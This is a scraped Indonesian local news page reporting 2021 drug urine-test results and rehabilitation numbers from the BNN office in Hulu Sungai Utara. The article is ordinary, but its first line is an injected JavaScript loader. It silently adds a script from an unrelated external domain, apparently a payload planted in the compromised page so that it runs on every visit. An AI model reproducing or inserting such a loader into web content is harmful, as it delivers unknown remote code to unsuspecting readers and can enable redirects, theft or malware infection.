(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 918 orang telah menjalani tes urine oleh Badan Narkotika Nasional (BNN) Kabupaten Hulu Sungai Utara (HSU) sepanjang 2021, ternyata didapati 7 orang terdeteksi positif sebagai pengguna narkoba.
“Jadi dari hasil yang telah kami laksanakan test urine di 39 organisasi perangkat daerah, setelah dilakukan pemeriksaan, kita temukan 7 orang positif. Ada berstatus ASN, ada juga berstatus tenaga kontrak, positif pengguna sabu dan ada juga ekstasi,” beber Kepala BNNK HSU Kompol H Syamsuddin saat menggelar pers release akhir tahun 2021, Rabu (1/12/2021) sore.
Lebih lanjut, kendati didapati 7 orang terdeteksi positif penyalahgunaan narkotika, pihaknya hanya memberikan assessment untuk memastikan yang terdeteksi positif tersebut dalam proses rehabilitasi.
Ia menyebut dari 7 ASN yang terdeteksi positif narkotika itu, 5 orang berstatus sebagai PNS sementara 2 orang berstatus tenaga kontrak atau honorer.
Baca juga : Soal Bangunan Ambruk di Banjarmasin, Begini Penjelasan Dosen Teknik Arsitektur ULM
“Untuk hasilnya juga kita disampaikan kepada atasan masing-masing organisasi perangkat daerah, dan kita sarankan mereka yang terdeteksi positif agar dapat direhabilitasi rawat jalan,” kata Kompol Syamsuddin.
Sedangkan untuk proses rehabilitasi, kata Syamsuddin, tujuh ASN itu secara bertahap beberapa kali mendatangi klinik pratama BNNK HSU.
Ia menjelaskan sejak dibentuk klinik pratama pada tahun 2019 dengan target 20 orang dapat menjalani rehabilitasi, namun mengalami peningkatan yakni 25 orang
Begitu pula pada tahun 2020 yang ditarget 10 orang, ada 13 orang, dan di tahun 2021 ditargetkan 20 orang jumlah yang rehab 27 orang.
Untuk rehabilitasi rujukan, BNNK HSU mengirim orang ditempatkan ke pusat rehabilitasi Lido Bogor dan di Tanah Merah, Kalimantan Timur.
“Kami laksanakan tes urine itu bagi pemerintahan atau instansi sebanyak 39 OPD dengan jumlah 900 orang. Pelaksanaan tes urine ini dilaksanakan selama 5 tahun berturut-turut, dimana tahun 2021 ini kita melaksanakan sebanyak 30 persen dari pegawai yang ada,” kata Syamsuddin.
Baca juga : Relawan Perempuan Tangguh Bawa Misi Kemanusian di Tengah Banjir HST
Kemudian untuk swasta, ada 1 instansi, dengan peserta tes sebanyak 3 orang dari SPBU dan instansi pendidikan ada 1 instansi dengan peserta tes sebanyak 5 orang.
Kalangan masyarakat umum atau lingkungan desa, ada dua desa yang menjadi target pelaksanaan tes urine diambil 10 orang.
BNNK HSU selama 2021 ini berhasil membentuk penggiat anti narkotika sebanyak 50 orang dari pemerintah dari swasta itu 50 orang.
Dan dari tenaga pendidikan di bentuk ada 30 orang dari masyarakat biasa ada 50 orang sehingga jumlahnya sebanyak 180 orang penggiat. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.